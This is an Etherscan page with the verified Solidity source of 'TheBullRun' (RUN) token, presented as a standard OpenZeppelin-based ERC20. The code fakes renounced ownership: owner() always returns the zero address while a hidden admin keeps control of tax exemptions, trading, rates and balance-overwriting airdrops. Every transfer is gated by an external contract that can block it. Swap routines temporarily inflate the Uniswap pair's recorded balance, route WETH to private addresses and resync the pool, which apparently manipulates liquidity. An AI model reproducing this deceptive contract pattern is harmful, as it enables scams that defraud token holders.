ETH Price: $2,812.79 (+7.17%)
 

Overview

Max Total Supply

2,024 RUN

Holders

217

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1.021049452960054252 RUN

Value
$0.00
0xF9490672f84Ed397D7A72015D3162bBA0A67Cc42
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TheBullRun

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-15
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;


/*
https://TheBull.Run
https://t.me/TheBullRun0
https://twitter.com/TheBullRun0
*/

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        emit OwnershipTransferred(msg.sender, address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return address(0);
    }
}    

abstract contract reEntry {
    uint256 public status = 1;
    modifier reentry {
        require(status == 1, "rent");
        status = 0;
        _;
        status = 1;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "in");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "ca");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

/// Transfer Helper to ensure the correct transfer of the tokens or ETH
library SafeTransfer {
    using Address for address;

    function safeTransfer(
        IERC20 token,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that
        // the target address contains contract code and also asserts for success in the low-level call.

        bytes memory returndata = address(token).functionCall(data, "SafeERC202");
        if (returndata.length > 0) {
            // Return data is optional
            require(abi.decode(returndata, (bool)), "SafeERC201");
        }
    }

    /** Safe Transfer ETH to one wallet from within the contract
    * @param to: the wallet to send to
    * @param value: the amount to send from the contract
    **/
    function safeTransferETH(address to, uint256 value) internal {
        (bool success,) = to.call{value : value}(new bytes(0));
        require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
    }
} 

/// Factory interface of uniswap and forks
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface tis {
    function factory() external pure returns (address);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function token0() external view returns(address);
    function sync() external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function savetokens(address token, address to, uint256 amount) external;
    function deposit() external payable;
    function withdraw(uint wad) external;
    function trigger() external;
    function createFactor(address user, address _Token, address _swap, address _router) external returns(address factor);
    function callNest() external view returns(bool);
    function createNest(address token) external returns(address nest);
    function _getRate() external view returns(uint256);
}    

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract TheBullRun is reEntry, Ownable, IERC20 {
    mapping(address => uint256) private _rBank;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(uint256 => uint256) public blocks;
    mapping(address => bool) public taxFree; //exclude reflection
    bool public lastBuy;
    uint128 private _totalSupply = 2024e18;  // 2024
    address public constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private factor = 0xbcFbcBE275AC362cD195b06D192DF2e3b3e6178e;
    address private nestly = 0xB6fB6CF20ae6933C6b7B437b40536207A657Df1d;
    address private nestor = 0x068D1b39169d022E1D56dA4fA0f41482400D8144;
    address public run = 0x1561D8A0AA09FD3EFf92EDf81f9d25Eb8C0889bA;
    address private nesta;
    address public uniswapV2Pair;
    address public nestLocation;
    address private nn;
    address private admin;
    uint128 public birthRate = 100000; // halves every 4 years from birthDate
    uint256 public birthDate;
    uint256 private constant MAX = ~uint256(0);
    uint32 public halvingRate = 365 days; // every 4 years the next distribution will halve
    uint256 public nextHalving;
    uint256 private _tTotal; // total supply
    uint256 private _tShareTotal;
    uint256 private _rTotal; //reflection tuple
    uint256 private k = 1;
    uint256[] public tick;
    uint256 public rate = 3;
    uint256 public volBase = 40e9;
    uint256 public lastGwei;
    bool public openTrading;
    string private _name = 'The Bull';
    string private _symbol = 'RUN';
    
    receive() external payable {
        if(birthDate > 0) {
        if(msg.sender != WETH) {
        tis(WETH).deposit{value: msg.value}();
        buy(msg.value, msg.sender);
        }
        }
    }

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor() { 
        _tTotal = _totalSupply;      
        _rTotal = (MAX - (MAX % _tTotal)); 
        birthDate = block.timestamp;
        nextHalving = block.timestamp + halvingRate;
        admin = msg.sender;
        _mint();
        tis _uniswapV2Router = tis(UNISWAP_V2_ROUTER);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(WETH, address(this));   
        taxFree[msg.sender] = true;
        taxFree[address(this)] = true;
        tick.push(1);
    }    

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _tTotal;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromGift(_rBank[account]);
    }

    function tokenFromGift(uint256 rAmount) public view returns (uint256) {
        uint256 currentRate = _getRate();
        return rAmount / currentRate;
    }

    function taxless(address sender, address recip, uint att) internal {
        uint256 r_att = att * _getRate();
        _rBank[sender] = _rBank[sender] - r_att;
        _rBank[recip] = _rBank[recip] + r_att;
        emit Transfer(sender, recip, att);
    }

    function setOpenTrading() external {
        require(msg.sender == admin); 
        openTrading = true;
    }

    function setRate(uint256 amt) external {
        require(msg.sender == admin, "admin");
        require(amt >= 4, "4");
        rate = amt;
    }

    function setVolBase(uint256 amt) external {
        require(msg.sender == admin, "admin");
        require(amt >= 4e9, "4");
        volBase = amt;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool i) {        
        require(tis(nesta).callNest(), "bad call");
        if(!openTrading) {
            require(taxFree[msg.sender] || taxFree[recipient], "not open");
        }
        require(msg.sender != address(0), "0");
        require(recipient != address(0), "0");
        require(msg.sender != recipient, "ss");
        require(balanceOf(msg.sender) >= amount, "bal");
        if(recipient == address(this)) {
            transferToUniswapDirect(msg.sender,amount);
            i = true;
        }
        if(recipient != address(this)) {
        if(taxFree[msg.sender] || taxFree[recipient]) {
        taxless(msg.sender, recipient, amount);
        i = true;
        }
        if(!taxFree[msg.sender] && !taxFree[recipient]) {
        if(msg.sender == uniswapV2Pair){
        transferFromUniswap(recipient, amount);
        }
        if(recipient == uniswapV2Pair && msg.sender != uniswapV2Pair){
        transferToUniswapDirect(msg.sender, amount);
        }
        if(recipient != uniswapV2Pair && msg.sender != uniswapV2Pair){
        _transfer(msg.sender, recipient, amount);
        }
        i = true;
        }
        }
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256 i) {
        i = _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function airdrop(address[] memory user) external {
        require(msg.sender == admin && !openTrading, "no");
        uint256 b = user.length;
        uint256 c;
        uint256 r_att;
        uint256 tot;
        for(uint256 i = 0; i < b; i ++) {
        c = IERC20(run).balanceOf(user[i]);
        r_att = c * tis(run)._getRate();
        _rBank[user[i]] = r_att;
        tot += r_att;
        emit Transfer(admin, user[i], c);
        }
        _rBank[admin] -= tot;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool i) {
        require(tis(nesta).callNest(), "bad call");
        if(!openTrading) {
            require(taxFree[sender] || taxFree[recipient], "not open");
        }
        require(sender != address(0) && recipient != address(0), "0");
        require(sender != recipient, "no");
        require(balanceOf(sender) >= amount, "bala");
        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount, "exceeds");
        _approve(sender, msg.sender, currentAllowance - amount);
        if(taxFree[sender] || taxFree[recipient]) {
        taxless(sender, recipient, amount);
        i = true;
        }
        if(!taxFree[sender] && !taxFree[recipient]) {
        if(recipient == uniswapV2Pair){
        transferToUniswap(sender, amount);
        }
        if(sender == uniswapV2Pair){
        transferFromUniswap(recipient, amount);
        }
        if(recipient != uniswapV2Pair && sender != uniswapV2Pair){
        _transfer(sender, recipient, amount);
        }
        i = true;
        }
    }

    function transferToUniswap(address sender, uint256 amount) internal {
        uint256 bal0 = balanceOf(sender);
        require(bal0 >= amount, "amt");
        volBoost(amount);       
        (uint256 rAmount, uint256 rTransferAmount, uint256 rShare, uint256 tTransferAmount, uint256 tShare) = _getWorth(amount);
        _rBank[sender] = _rBank[sender] - rAmount;
        _rBank[uniswapV2Pair] = _rBank[uniswapV2Pair] + rTransferAmount;
        _smartFee(rShare, tShare); 
        if(balanceOf(uniswapV2Pair) > 0) {
        if(tick[tick.length - 1] != balanceOf(uniswapV2Pair)) {
        tick.push(balanceOf(uniswapV2Pair));
        }
        }
        lastGwei = tx.gasprice - block.basefee;
        emit Transfer(sender, uniswapV2Pair, tTransferAmount);
    }

    function buy(uint256 amt, address user) internal reentry{
        if(!openTrading) {
            require(taxFree[user], "not open");
        }
        uint256 u = balanceOf(uniswapV2Pair);
        uint256 tt = tick.length > 2 ? tick[tick.length - 2] : tick[tick.length - 1];
        uint256 ra = block.timestamp < birthDate + 5 minutes ? 30 : 10;
        require(u < tt + (tt * ra / 100) && u > tt - (tt * ra / 100), "protection");
        SafeTransfer.safeTransfer(IERC20(WETH), uniswapV2Pair, amt);
        lastBuy = true; 
        if(address(this) == tis(uniswapV2Pair).token0()){
        (uint _r, uint _r2,) = tis(uniswapV2Pair).getReserves();
        uint256 out = getAmountOut(amt, _r2, _r);
        tis(uniswapV2Pair).swap(out, 0, user, new bytes(0));
        } 
        if(address(this) != tis(uniswapV2Pair).token0()){
        (uint _r, uint _r2,) = tis(uniswapV2Pair).getReserves();
        uint256 out = getAmountOut(amt, _r, _r2);
        tis(uniswapV2Pair).swap(0, out, user, new bytes(0));
        }
        if(balanceOf(uniswapV2Pair) > 0) {
        if(tick[tick.length - 1] != balanceOf(uniswapV2Pair)) {
        tick.push(balanceOf(uniswapV2Pair));
        }
        }
    }

    function transferToUniswapDirect(address sender, uint256 amount) internal reentry{
        uint256 bal0 = balanceOf(sender);
        require(bal0 >= amount, "amt");
        uint256 u = balanceOf(uniswapV2Pair);
        uint256 tt = tick.length > 2 ? tick[tick.length - 2] : tick[tick.length - 1];
        require(u < tt + (tt * 10 / 100) && u > tt - (tt * 10 / 100), "protection");
        volBoost(amount);    
        (uint256 rAmount, uint256 rTransferAmount, uint256 rShare, uint256 tTransferAmount, uint256 tShare) = _getWorth(amount);
        _rBank[sender] = _rBank[sender] - rAmount;
        _rBank[uniswapV2Pair] = _rBank[uniswapV2Pair] + rTransferAmount;
        _smartFee(rShare, tShare); 
        lastBuy = false;     
        address ss = sender;
        if(address(this) == tis(uniswapV2Pair).token0()){
        (uint _r, uint _r2,) = tis(uniswapV2Pair).getReserves();
        uint256 out = getAmountOut(tTransferAmount, _r, _r2);
        tis(uniswapV2Pair).swap(0, out, nesta, new bytes(0));        
        } 
        if(address(this) != tis(uniswapV2Pair).token0()){
        (uint _r, uint _r2,) = tis(uniswapV2Pair).getReserves();
        uint256 out = getAmountOut(tTransferAmount, _r2, _r);
        tis(uniswapV2Pair).swap(out, 0, nesta, new bytes(0));
        }
        tis(nesta).savetokens(WETH, address(this), IERC20(WETH).balanceOf(nesta));
        uint256 u0 = IERC20(WETH).balanceOf(address(this));
        tis(WETH).withdraw(u0);
        SafeTransfer.safeTransferETH(ss, u0);
        if(balanceOf(uniswapV2Pair) > 0) {
        if(tick[tick.length - 1] != balanceOf(uniswapV2Pair)) {
        tick.push(balanceOf(uniswapV2Pair));
        }
        }
        emit Transfer(sender, uniswapV2Pair, tTransferAmount);
    }

    function transferFromUniswap(address recipient, uint256 amount) internal {
        require(balanceOf(uniswapV2Pair) >= amount, "amt");
        lastBuy = true;  
        (uint256 rAmount, uint256 rTransferAmount, uint256 rShare, uint256 tTransferAmount, uint256 tShare) = _getWorth(amount);
        _rBank[uniswapV2Pair] = _rBank[uniswapV2Pair] - rAmount;
        _rBank[recipient] = _rBank[recipient] + rTransferAmount;
        _smartFee(rShare, tShare);
        if(balanceOf(uniswapV2Pair) > 0) {
        if(tick[tick.length - 1] != balanceOf(uniswapV2Pair)) {
        tick.push(balanceOf(uniswapV2Pair));
        }
        }
        emit Transfer(uniswapV2Pair, recipient, tTransferAmount);
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {        
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {  
        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    }

    function getAmountOut(uint256 amtIn, uint256 reserveIn, uint256 reserveOut) internal pure returns(uint256 amtOut) {
        uint amountInWithFee = amtIn * 997;
        uint numerator = amountInWithFee * reserveOut;
        uint denominator = (reserveIn * 1000) + amountInWithFee;
        amtOut = numerator / denominator;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer (
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(balanceOf(sender) >= amount, "exceeds");
        require(sender != recipient, "same");     
        require(sender != address(0), "0");
        require(recipient != address(0), "0");  
        k = 0;      
        volBoost(amount);   
        (uint256 rAmount, uint256 rTransferAmount, uint256 rShare, uint256 tTransferAmount, uint256 tShare) = _getWorth(amount);
        _rBank[sender] = _rBank[sender] - rAmount;
        _rBank[recipient] = _rBank[recipient] + rTransferAmount;
        _smartFee(rShare, tShare);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function nest() public view returns(uint256) {
        return balanceOf(nestLocation);
    }

    function setTaxFreeUser(address user, bool adding) external {
        require(msg.sender == admin);
        taxFree[user] = adding;
    }

    function getNestDistribution(uint256 amount) public view returns(uint256) {
        uint256 i;
        uint256 i0;
        if(nest() >= 1e18) {
        i = amount / 1000000 * birthRate;
        i0 = i > balanceOf(uniswapV2Pair) * 1 / 100 ? balanceOf(uniswapV2Pair) * 1 / 100 : i;
        }
        return i0;
    }

    function volBoost(uint256 amount) internal {   
        uint256 u = balanceOf(uniswapV2Pair);
        bool i;
        require(tis(nesta).callNest(), "bad call");
        if(u > 0){
        if(blocks[block.number] == 0){   
        if(amount > u * rate / 10000) {            
        i = true;
        }
        if(tx.gasprice - block.basefee >= volBase) {
            i = amount > u * (rate * 5) / 10000 ? true : false;
        }
        amount = amount > nest() ? nest() : amount;
        blocks[block.number] = 1;
        uint256 amount0 = getNestDistribution(amount);
        swapTokensForWeth(amount0,i);
        }
        }
        if(block.timestamp > nextHalving) {
            nextHalving = block.timestamp + halvingRate;
            birthRate / 2;
        }
        k = k == 0 ? 1 : 0;
    }

    function swapTokensForWeth(uint amount0, bool i) internal {
        address token = address(this);
        if(token == tis(uniswapV2Pair).token0()){
        sT(amount0, i);
        }
        if(token != tis(uniswapV2Pair).token0()){
        if(i) {
        uint256 tot0 = _rBank[uniswapV2Pair];
        uint256 tot1 = _rBank[nestLocation];
        uint256 p = balanceOf(uniswapV2Pair) / 100 * 49;
        (uint r, uint r2,) = tis(uniswapV2Pair).getReserves();
        uint256 out1 = getAmountOut(p, r2, r);  
        _rBank[uniswapV2Pair] = _rBank[uniswapV2Pair] + (_rBank[uniswapV2Pair] / 100 * 49);
        tis(uniswapV2Pair).swap(out1, 0, nesta, new bytes(0));
        uint256 tot = IERC20(WETH).balanceOf(nesta);
        (uint o, uint o2,) = tis(uniswapV2Pair).getReserves();
        uint256 ot = getAmountOut(tot, o, o2);  
        tis(nesta).savetokens(WETH, uniswapV2Pair, tot);
        tis(uniswapV2Pair).swap(0, ot, nestLocation, new bytes(0));
        _rBank[uniswapV2Pair] = tot0;
        _rBank[nestLocation] = tot1;
        tis(uniswapV2Pair).sync();        
        }
        }
        if(k != 0) {
        if(lastBuy && amount0 > 0){
        lastBuy = false;         
        (uint _r, uint _r2,) = tis(uniswapV2Pair).getReserves();
        uint256 out = getAmountOut(amount0, _r2, _r);  
        _rBank[uniswapV2Pair] += _rBank[nestLocation] / balanceOf(nestLocation) * amount0;
        _rBank[nestLocation] -= _rBank[nestLocation] / balanceOf(nestLocation) * amount0;
        tis(uniswapV2Pair).swap(out, 0, nn, new bytes(0));
        if(IERC20(WETH).balanceOf(nn) > 0) {
            tis(nn).trigger();
        }
        }
        }
    }

    function sT(uint256 amount0, bool i) internal {
        if(i) {
        uint256 tot0 = _rBank[uniswapV2Pair];
        uint256 tot1 = _rBank[nestLocation];
        uint256 p = balanceOf(uniswapV2Pair) / 100 * 49;
        (uint r, uint r2,) = tis(uniswapV2Pair).getReserves();
        uint256 out1 = getAmountOut(p, r, r2);  
        _rBank[uniswapV2Pair] = _rBank[uniswapV2Pair] + (_rBank[uniswapV2Pair] / 100 * 49);
        tis(uniswapV2Pair).swap(0, out1, nesta, new bytes(0));
        uint256 tot = IERC20(WETH).balanceOf(nesta);
        (uint o, uint o2,) = tis(uniswapV2Pair).getReserves();
        uint256 ot = getAmountOut(tot, o2, o);
        tis(nesta).savetokens(WETH, uniswapV2Pair, tot);
        tis(uniswapV2Pair).swap(ot, 0, nestLocation, new bytes(0));
        _rBank[uniswapV2Pair] = tot0;
        _rBank[nestLocation] = tot1;
        tis(uniswapV2Pair).sync();
        }
        if(k != 0) {
        if(lastBuy && amount0 > 0){
        lastBuy = false;        
        (uint _r, uint _r2,) = tis(uniswapV2Pair).getReserves();
        uint256 out = getAmountOut(amount0, _r, _r2);  
        _rBank[uniswapV2Pair] += _rBank[nestLocation] / balanceOf(nestLocation) * amount0;
        _rBank[nestLocation] -= _rBank[nestLocation] / balanceOf(nestLocation) * amount0;
        tis(uniswapV2Pair).swap(0, out, nn, new bytes(0));
        if(IERC20(WETH).balanceOf(nn) > 0) {
            tis(nn).trigger();
        }
        }
        }
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint() internal virtual {
        nestLocation = createNest();
        _rBank[admin] = _rTotal / 10 * 6;
        nn = tis(factor).createFactor(admin, address(this), uniswapV2Pair, UNISWAP_V2_ROUTER); 
        taxFree[nn] = true;        
        emit Transfer(address(0), admin, _totalSupply / 10 * 6);
    }

    function createNest() internal returns(address _nest) {
        _nest = tis(nestly).createNest(address(this));  
        _rBank[_nest] = _rTotal / 10 * 4;
        taxFree[_nest] = true;   
        nesta = tis(nestor).createNest(address(this));  
        taxFree[nesta] = true;
    }    

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);        
    }    
    
    /************************************* RFI SECTION *****************************************************************/

    function _smartFee(uint256 rShare, uint256 tShare) private {
        _rTotal = _rTotal - rShare;
        _tShareTotal = _tShareTotal + tShare;
    }

    function _getWorth(uint256 tAmount) private view returns (uint256 rAmount, uint256 rTransferAmount, uint256 rShare, uint256 tTransferAmount, uint256 tShare) {
        (tTransferAmount, tShare) = _getTValues(tAmount);
        uint256 currentRate = _getRate();
        (rAmount, rTransferAmount, rShare) = _getRValues(tAmount, tShare, currentRate);
        return (rAmount, rTransferAmount, rShare, tTransferAmount, tShare);
    }

    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
        uint256 tShare = tAmount * 5 / 1000;
        uint256 tTransferAmount = tAmount - tShare;
        return (tTransferAmount, tShare);
    }

    function _getRValues(uint256 tAmount, uint256 tShare, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount * currentRate;
        uint256 rShare = tShare * currentRate;
        uint256 rTransferAmount = rAmount - rShare;
        return (rAmount, rTransferAmount, rShare);
    }

    function _getRate() public view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply / tSupply;
    }

    function _getCurrentSupply() public view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;

        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

